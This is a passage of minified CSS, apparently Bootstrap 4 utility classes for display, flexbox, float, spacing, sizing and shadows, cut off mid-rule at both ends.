(min-width:1200px){.d-xl-none{display:none!important}.d-xl-inline{display:inline!important}.d-xl-inline-block{display:inline-block!important}.d-xl-block{display:block!important}.d-xl-table{display:table!important}.d-xl-table-row{display:table-row!important}.d-xl-table-cell{display:table-cell!important}.d-xl-flex{display:-ms-flexbox!important;display:flex!important}.d-xl-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media print{.d-print-none{display:none!important}.d-print-inline{display:inline!important}.d-print-inline-block{display:inline-block!important}.d-print-block{display:block!important}.d-print-table{display:table!important}.d-print-table-row{display:table-row!important}.d-print-table-cell{display:table-cell!important}.d-print-flex{display:-ms-flexbox!important;display:flex!important}.d-print-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}.embed-responsive{position:relative;display:block;width:100%;padding:0;overflow:hidden}.embed-responsive::before{display:block;content:""}.embed-responsive .embed-responsive-item,.embed-responsive embed,.embed-responsive iframe,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-21by9::before{padding-top:42.857143%}.embed-responsive-16by9::before{padding-top:56.25%}.embed-responsive-4by3::before{padding-top:75%}.embed-responsive-1by1::before{padding-top:100%}.flex-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-center{-ms-flex-align:center!important;align-items:center!important}.align-items-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}@media (min-width:576px){.flex-sm-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-sm-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-sm-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-sm-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-sm-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-sm-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-sm-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-sm-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-sm-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-sm-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-sm-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-sm-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-sm-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-sm-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-sm-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-sm-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-sm-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-sm-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-sm-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-sm-center{-ms-flex-align:center!important;align-items:center!important}.align-items-sm-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-sm-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-sm-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-sm-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-sm-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-sm-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-sm-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-sm-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-sm-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-sm-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-sm-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-sm-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-sm-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-sm-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media (min-width:768px){.flex-md-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-md-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-md-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-md-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-md-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-md-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-md-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-md-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-md-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-md-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-md-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-md-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-md-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-md-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-md-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-md-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-md-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-md-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-md-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-md-center{-ms-flex-align:center!important;align-items:center!important}.align-items-md-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-md-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-md-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-md-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-md-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-md-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-md-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-md-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-md-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-md-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-md-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-md-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-md-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-md-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media (min-width:992px){.flex-lg-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-lg-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-lg-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-lg-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-lg-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-lg-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-lg-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-lg-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-lg-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-lg-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-lg-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-lg-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-lg-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-lg-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-lg-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-lg-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-lg-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-lg-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-lg-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-lg-center{-ms-flex-align:center!important;align-items:center!important}.align-items-lg-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-lg-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-lg-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-lg-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-lg-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-lg-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-lg-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-lg-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-lg-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-lg-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-lg-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-lg-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-lg-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-lg-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media (min-width:1200px){.flex-xl-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-xl-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-xl-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-xl-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-xl-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-xl-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-xl-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-xl-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-xl-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-xl-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-xl-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-xl-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-xl-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-xl-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-xl-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-xl-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-xl-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-xl-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-xl-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-xl-center{-ms-flex-align:center!important;align-items:center!important}.align-items-xl-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-xl-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-xl-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-xl-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-xl-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-xl-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-xl-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-xl-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-xl-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-xl-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-xl-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-xl-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-xl-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-xl-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}.float-left{float:left!important}.float-right{float:right!important}.float-none{float:none!important}@media (min-width:576px){.float-sm-left{float:left!important}.float-sm-right{float:right!important}.float-sm-none{float:none!important}}@media (min-width:768px){.float-md-left{float:left!important}.float-md-right{float:right!important}.float-md-none{float:none!important}}@media (min-width:992px){.float-lg-left{float:left!important}.float-lg-right{float:right!important}.float-lg-none{float:none!important}}@media (min-width:1200px){.float-xl-left{float:left!important}.float-xl-right{float:right!important}.float-xl-none{float:none!important}}.user-select-all{-webkit-user-select:all!important;-moz-user-select:all!important;user-select:all!important}.user-select-auto{-webkit-user-select:auto!important;-moz-user-select:auto!important;-ms-user-select:auto!important;user-select:auto!important}.user-select-none{-webkit-user-select:none!important;-moz-user-select:none!important;-ms-user-select:none!important;user-select:none!important}.overflow-auto{overflow:auto!important}.overflow-hidden{overflow:hidden!important}.position-static{position:static!important}.position-relative{position:relative!important}.position-absolute{position:absolute!important}.position-fixed{position:fixed!important}.position-sticky{position:-webkit-sticky!important;position:sticky!important}.fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030}.fixed-bottom{position:fixed;right:0;bottom:0;left:0;z-index:1030}@supports ((position:-webkit-sticky) or (position:sticky)){.sticky-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);white-space:nowrap;border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;overflow:visible;clip:auto;white-space:normal}.shadow-sm{box-shadow:0 .125rem .25rem rgba(0,0,0,.075)!important}.shadow{box-shadow:0 .5rem 1rem rgba(0,0,0,.15)!important}.shadow-lg{box-shadow:0 1rem 3rem rgba(0,0,0,.175)!important}.shadow-none{box-shadow:none!important}.w-25{width:25%!important}.w-50{width:50%!important}.w-75{width:75%!important}.w-100{width:100%!important}.w-auto{width:auto!important}.h-25{height:25%!important}.h-50{height:50%!important}.h-75{height:75%!important}.h-100{height:100%!important}.h-auto{height:auto!important}.mw-100{max-width:100%!important}.mh-100{max-height:100%!important}.min-vw-100{min-width:100vw!important}.min-vh-100{min-height:100vh!important}.vw-100{width:100vw!important}.vh-100{height:100vh!important}.m-0{margin:0!important}.mt-0,.my-0{margin-top:0!important}.mr-0,.mx-0{margin-right:0!important}.mb-0,.my-0{margin-bottom:0!important}.ml-0,.mx-0{margin-left:0!important}.m-1{margin:.25rem!important}.mt-1,.my-1{margin-top:.25rem!important}.mr-1,.mx-1{margin-right:.25rem!important}.mb-1,.my-1{margin-bottom:.25rem!important}.ml-1,.mx-1{margin-left:.25rem!important}.m-2{margin:.5rem!important}.mt-2,.my-2{margin-top:.5rem!important}.mr-2,.mx-2{margin-right:.5rem!important}.mb-2,.my-2{margin-bottom:.5rem!important}.ml-2,.mx-2{margin-left:.5rem!important}.m-3{margin:1rem!important}.mt-3,.my-3{margin-top:1rem!important}.mr-3,.mx-3{margin-right:1rem!important}.mb-3,.my-3{margin-bottom:1rem!important}.ml-3,.mx-3{margin-left:1rem!important}.m-4{margin:1.5rem!important}.mt-4,.my-4{margin-top:1.5rem!important}.mr-4,.mx-4{margin-right:1.5rem!important}.mb-4,.my-4{margin-bottom:1.5rem!important}.ml-4,.mx-4{margin-left:1.5rem!important}.m-5{margin:3rem!important}.mt-5,.my-5{margin-top:3rem!important}.mr-5,.mx-5{margin-right:3rem!important}.mb-5,.my-5{margin-bottom:3rem!important}.ml-5,.mx-5{margin-left:3rem!important}.p-0{padding:0!important}.pt-0,.py-0{padding-top:0!important}.pr-0,.px-0{padding-right:0!important}.pb-0,.py-0{padding-bottom:0!important}.pl-0,.px-0{padding-left:0!important}.p-1{padding:.25rem!important}.pt-1,.py-1{padding-top:.25rem!important}.pr-1,.px-1{padding-right:.25rem!important}.pb-1,.py-1{padding-bottom:.25rem!important}.pl-1,.px-1{padding-left:.25rem!important}.p-2{padding:.5rem!important}.pt-2,.py-2{padding-top:.5rem!important}.pr-2,.px-2{padding-right:.5rem!important}.pb-2,.py-2{padding-bottom:.5rem!important}.pl-2,.px-2{padding-left:.5rem!important}.p-3{padding:1rem!important}.pt-3,.py-3{padding-top:1rem!important}.pr-3,.px-3{padding-right:1rem!important}.pb-3,.py-3{padding-bottom:1rem!important}.pl-3,.px-3{padding-left:1rem!important}.p-4{padding:1.5rem!important}.pt-4,.py-4{padding-top:1.5rem!important}.pr-4,.px-4{padding-right:1.5rem!important}.pb-4,.py-4{padding-bottom:1.5rem!important}.pl-4,.px-4{padding-left:1.5rem!important}.p-5{padding:3rem!important}.pt-5,.py-5{padding-top:3rem!important}.pr-5,.px-5{padding-right:3rem!important}.pb-5,.py-5{padding-bottom:3rem!important}.pl-5,.px-5{padding-left:3rem!important}.m-n1{margin:-.25rem!important}.mt-n1,.my-n1{margin-top:-.25rem!important}.mr-n1,.mx-n1{margin-right:-.25rem!important}.mb-n1,.my-n1{margin-bottom:-.25rem!important}.ml-n1,.mx-n1{margin-left:-.25rem!important}.m-n2{margin:-.5rem!important}.mt-n2,.my-n2{margin-top:-.5rem!important}.mr-n2,.mx-n2{margin-right:-.5rem!important}.mb-n2,.my-n2{margin-bottom:-.5rem!important}.ml-n2,.mx-n2{margin-left:-.5rem!important}.m-n3{margin:-1rem!important}.mt-n3,.my-n3{margin-top:-1rem!important}.mr-n3,.mx-n3{margin-right:-1rem!important}.mb-n3,.my-n3{margin-bottom:-1rem!important}.ml-n3,.mx-n3{margin-left:-1rem!important}.m-n4{margin:-1.5rem!important}.mt-n4,.my-n4{margin-top:-1.5rem!important}.mr-n4,.mx-n4{margin-right:-1.5rem!important}.mb-n4,.my-n4{margin-bottom:-1.5rem!important}.ml-n4,.mx-n4{margin-left:-1.5rem!important}.m-n5{margin:-3rem!important}.mt-n5,.my-n5{margin-top:-3rem!important}.mr-n5,.mx-n5{margin-right:-3rem!important}.mb-n5,.my-n5{margin-bottom:-3rem!important}.ml-n5,.mx-n5{margin-left:-3rem!important}.m-auto{margin:auto!important}.mt-auto,.my-auto{margin-top:auto!important}.mr-auto,.mx-auto{margin-right:auto!important}.mb-auto,.my-auto{margin-bottom:auto!important}.ml-auto,.mx-auto{margin-left:auto!important}@media (min-width:576px){.m-sm-0{margin:0!important}.mt-sm-0,.my-sm-0{margin-top:0!important}.mr-sm-0,.mx-sm-0{margin-right:0!important}.mb-sm-0,.my-sm-0{margin-bottom:0!important}.ml-sm-0,.mx-sm-0{margin-left:0!important}.m-sm-1{margin:.25rem!important}.mt-sm-1,.my-sm-1{margin-top:.25rem!important}.mr-sm-1,.mx-sm-1{margin-right:.25rem!important}.mb-sm-1,.my-sm-1{margin-bottom:.25rem!important}.ml-sm-1,.mx-sm-1{margin-left:.25rem!important}.m-sm-2{margin:.5rem!important}.mt-sm-2,.my-sm-2{margin-top:.5rem!important}.mr-sm-2,.mx-sm-2{margin-right:.5rem!important}.mb-sm-2,.my-sm-2{margin-bottom:.5rem!important}.ml-sm-2,.mx-sm-2{margin-left:.5rem!important}.m-sm-3{margin:1rem!important}.mt-sm-3,.my-sm-3{margin-top:1rem!important}.mr-sm-3,.mx-sm-3{margin-right:1rem!important}.mb-sm-3,.my-sm-3{margin-bottom:1rem!important}.ml-sm-3,.mx-sm-3{margin-left:1rem!important}.m-sm-4{margin:1.5rem!important}.mt-sm-4,.my-sm-4{margin-top:1.5rem!important}.mr-sm-4,.mx-sm-4{margin-right:1.5rem!important}.mb-sm-4,.my-sm-4{margin-bottom:1.5rem!important}.ml-sm-4,.mx-sm-4{margin-left:1.5rem!important}.m-sm-5{margin:3rem!important}.mt-sm-5,.my-sm-5{margin-top:3rem!important}.mr-sm-5,.mx-sm-5{margin-right:3rem!important}.mb-sm-5,.my-sm-5{margin-bottom:3rem!important}.ml-sm-5,.mx-sm-5{margin-left:3rem!important}.p-sm-0{padding:0!important}.pt-sm-0,.py-sm-0{padding-top:0!important}.pr-sm-0,.px-sm-0{padding-right:0!important}.pb-sm-0,.py-sm-0{padding-bottom:0!important}.pl-sm-0,.px-sm-0{padding-left:0!important}.p-sm-1{padding:.25rem!important}.pt-sm-1,.py-sm-1{padding-top:.25rem!important}.pr-sm-1,.px-sm-1{padding-right:.25rem!important}.pb-sm-1,.py-sm-1{padding-bottom:.25rem!important}.pl-sm-1,.px-sm-1{padding-left:.25rem!important}.p-sm-2{padding:.5rem!important}.pt-sm-2,.py-sm-2{padding-top:.5rem!important}.pr-sm-2,.px-sm-2{padding-right:.5rem!important}.pb-sm-2,.py-sm-2{padding-bottom:.5rem!important}.pl-sm-2,.px-sm-2{padding-left:.5rem!important}.p-sm-3{padding:1rem!important}.pt-sm-3,.py-sm-3{padding-top:1rem!important}.pr-sm-3,.px-sm-3{padding-right:1rem!important}.pb-sm-3,.py-sm-3{padding-bottom:1rem!important}.pl-sm-3,.px-sm-3{padding-left:1rem!important}.p-sm-4{padding:1.5rem!important}.pt-sm-4,.py-sm-4{padding-top:1.5rem!important}.pr-sm-4,.px-sm-4{padding-right:1.5rem!important}.pb-sm-4,.py-sm-4{padding-bottom:1.5rem!important}.pl-sm-4,.px-sm-4{padding-left:1.5rem!important}.p-sm-5{padding:3rem!important}.pt-sm-5,.py-sm-5{padding-top:3rem!important}.pr-sm-5,.px-sm-5{padding-right:3rem!important}.pb-sm-5,.py-sm-5{padding-bottom:3rem!important}.pl-sm-5,.px-sm-5{padding-left:3rem!important}.m-sm-n1{margin:-.25rem!important}.mt-sm-n1,.my-sm-n1{margin-top:-.25rem!important}.mr-sm-n1,.mx-sm-n1{margin-right:-.25rem!important}.mb-sm-n1,.my-sm-n1{margin-bottom:-.25rem!important}.ml-sm-n1,.mx-sm-n1{margin-left:-.25rem!important}.m-sm-n2{margin:-.5rem!important}.mt-sm-n2,.my-sm-n2{margin-top:-.5rem!important}.mr-sm-n2,.mx-sm-n2{margin-right:-.5rem!important}.mb-sm-n2,.my-sm-n2{margin-bottom:-.5rem!important}.ml-sm-n2,.mx-sm-n2{margin-left:-.5rem!important}.m-sm-n3{margin:-1rem!important}.mt-sm-n3,.my-sm-n3{margin-top:-1rem!important}.mr-sm-n3,.mx-sm-n3{margin-right:-1rem!important}.mb-sm-n3,.my-sm-n3{margin-bottom:-1rem!important}.ml-sm-n3,.mx-sm-n3{margin-left:-1rem!important}.m-sm-n4{margin:-1.5rem!important}.mt-sm-n4,.my-sm-n4{margin-top:-1.5rem!important}.mr-sm-n4,.mx-sm-n4{margin-right:-1.5rem!important}.mb-sm-n4,.my-sm-n4{margin-bottom:-1.5rem!important}.ml-sm-n4,.mx-sm-n4{margin-left:-1.5rem!important}.m-sm-n5{margin:-3rem!important}.mt-sm-n5,.my-sm-n5{margin-top:-3rem!important}.mr-sm-n5,.mx-sm-n5{margin-right:-3rem!important}.mb-sm-n5,.my-sm-n5{margin-bottom:-3rem!important}.ml-sm-n5,.mx-sm-n5{margin-left:-3rem!important}.m-sm-auto{margin:auto!important}.mt-sm-auto,.my-sm-auto{margin-top:auto!important}.mr-sm-auto,.mx-sm-auto{margin-right:auto!important}.mb-sm-auto,.my-sm-auto{margin-bottom:auto!important}.ml-sm-auto,.mx-sm-auto{margin-left:auto!important}}@media (min-width:768px){.m-md-0{margin:0!important}.mt-md-0,.my-md-0{margin-top:0!important}.mr-md-0,.mx-md-0{margin-right:0!important}.mb-md-0,.my-md-0{margin-bottom:0!important}.ml-md-0,.mx-md-0{margin-left:0!important}.m-md-1{margin:.25rem!important}.mt-md-1,.my-md-1{margin-top:.25rem!important}.mr-md-1,.mx-md-1{margin-right:.25rem!important}.mb-md-1,.my-md-1{margin-bottom:.25rem!important}.ml-md-1,.mx-md-1{margin-left:.25rem!important}.m-md-2{margin:.5rem!important}.mt-md-2,.my-md-2{margin-top:.5rem!important}.mr-md-2,.mx-md-2{margin-right:.5rem!important}.mb-md-2,.my-md-2{margin-bottom:.5rem!important}.ml-md-2,.mx-md-2{margin-left:.5rem!important}.m-md-3{margin:1rem!important}.mt-md-3,.my-md-3{margin-top:1rem!important}.mr-md-3,.mx-md-3{margin-right:1rem!important}.mb-md-3,.my-md-3{margin-bottom:1rem!important}.ml-md-3,.mx-md-3{margin-left:1rem!important}.m-md-4{margin:1.5rem!important}.mt-md-4,.my-md-4{margin-top:1.5rem!important}.mr-md-4,.mx-md-4{margin-right:1.5rem!important}.mb-md-4,.my-md-4{margin-bottom:1.5rem!important}.ml-md-4,.mx-md-4{margin-left:1.5rem!important}.m-md-5{margin:3rem!important}.mt-md-5,.my-md-5{margin-top:3rem!important}.mr-md-5,.mx-md-5{margin-right:3rem!important}.mb-md-5,.my-md-5{margin-bottom:3rem!important}.ml-md-5,.mx-md-5{margin-left:3rem!important}.p-md-0{padding:0!important}.pt-md-0,.py-md-0{padding-top:0!important}.pr-md-0,.px-md-0{padding-right:0!important}.pb-md-0,.py-md-0{padding-bottom:0!important}.pl-md-0,.px-md-0{padding-left:0!important}.p-md-1{padding:.25rem!important}.pt-md-1,.py-md-1{padding-top:.25rem!important}.pr-md-1,.px-md-1{padding-right:.25rem!important}.pb-md-1,.py-md-1{padding-bottom:.25rem!important}.pl-md-1,.px-md-1{padding-left:.25rem!important}.p-md-2{padding:.5rem!important}.pt-md-2,.py-md-2{padding-top:.5rem!important}.pr-md-2,.px-md-2{padding-right:.5rem!important}.pb-md-2,.py-md-2{padding-bottom:.5rem!important}.pl-md-2,.px-md-2{padding-left:.5rem!important}.p-md-3{padding:1rem!important}.pt-md-3,.py-md-3{padding-top:1rem!important}.pr-md-3,.px-md-3{padding-right:1rem!important}.pb-md-3,.py-md-3{padding-bottom:1rem!important}.pl-md-3,.px-md-3{padding-left:1rem!important}.p-md-4{padding:1.5rem!important}.pt-md-4,.py-md-4{padding-top:1.5rem!important}.pr-md-4,.px-md-4{padding-right:1.5rem!important}.pb-md-4,.py-md-4{padding-bottom:1.5rem!important}.pl-md-4,.px-md-4{padding-left:1.5rem!important}.p-md-5{padding:3rem!important}.pt-md-5,.py-md-5{padding-top:3rem!important}.pr-md-5,.px-md-5{padding-right:3rem!important}.pb-md-5,.py-md-5{padding-bottom:3rem!important}.pl-md-5,.px-md-5{padding-left:3rem!important}.m-md-n1{margin:-.25rem!important}.mt-md-n1,.my-md-n1{margin-top:-.25rem!important}.mr-md-n1,.mx-md-n1{margin-right:-.25rem!important}.mb-md-n1,.my-md-n1{margin-bottom:-.25rem!important}.ml-md-n1,.mx-md-n1{margin-left:-.25rem!important}.m-md-n2{margin:-.5rem!important}.mt-md-n2,.my-md-n2{margin-top:-.5rem!important}.mr-md-n2,.mx-md-n2{margin-right:-.5rem!important}.mb-md-n2,.my-md-n2{margin-bottom:-.5rem!important}.ml-md-n2,.mx-md-n2{margin-left:-.5rem!important}.m-md-n3{margin:-1rem!important}.mt-md-n3,.my-md-n3{margin-top:-1rem!important}.mr-md-n3,.mx-md-n3{margin-right:-1rem!important}.mb-md-n3,.my-md-n3{margin-bottom:-1rem!important}.ml-md-n3,.mx-md-n3{margin-left:-1rem!important}.m-md-n4{margin:-1.5rem!important}.mt-md-n4,.my-md-n4{margin-top:-1.5rem!important}.mr-md-n4,.mx-md-n4{margin-right:-1.5rem!important}.mb-md-n4,.my-md-n4{margin-bottom:-1.5rem!important}.ml-md-n4,.mx-md-n4{margin-left:-1.5rem!important}.m-md-n5{margin:-3rem!important}.mt-md-n5,.my-md-n5{margin-top:-3rem!important}.mr-md-n5,.mx-md-n5{margin-right:-3rem!important}.mb-md-n5,.my-md-n5{margin-bottom:-3rem!important}.ml-md-n5,.mx-md-n5{margin-left:-3rem!important}.m-md-auto{margin:auto!important}.mt-md-auto,.my-md-auto{margin-top:auto!important}.mr-md-auto,.mx-md-auto{margin-right:auto!important}.mb-md-auto,.my-md-auto{margin-bottom:auto!important}.ml-md-auto,.mx-md-auto{margin-left:auto!important}}@media 